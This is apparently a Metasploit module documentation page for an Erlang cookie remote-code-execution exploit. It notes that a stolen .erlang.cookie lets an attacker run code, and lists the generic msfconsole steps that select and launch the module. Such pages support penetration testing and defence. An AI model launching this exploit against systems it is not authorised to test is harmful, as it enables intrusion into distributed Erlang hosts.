The erlang port mapper daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie RCE is trivial. Usually, this cookie is named ".erlang.cookie" and varies on location.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/misc/erlang_cookie_rce
msf exploit(erlang_cookie_rce) > show targets
...targets...
msf exploit(erlang_cookie_rce) > set TARGET < target-id >
msf exploit(erlang_cookie_rce) > show options
...show and set options...
msf exploit(erlang_cookie_rce) > exploit
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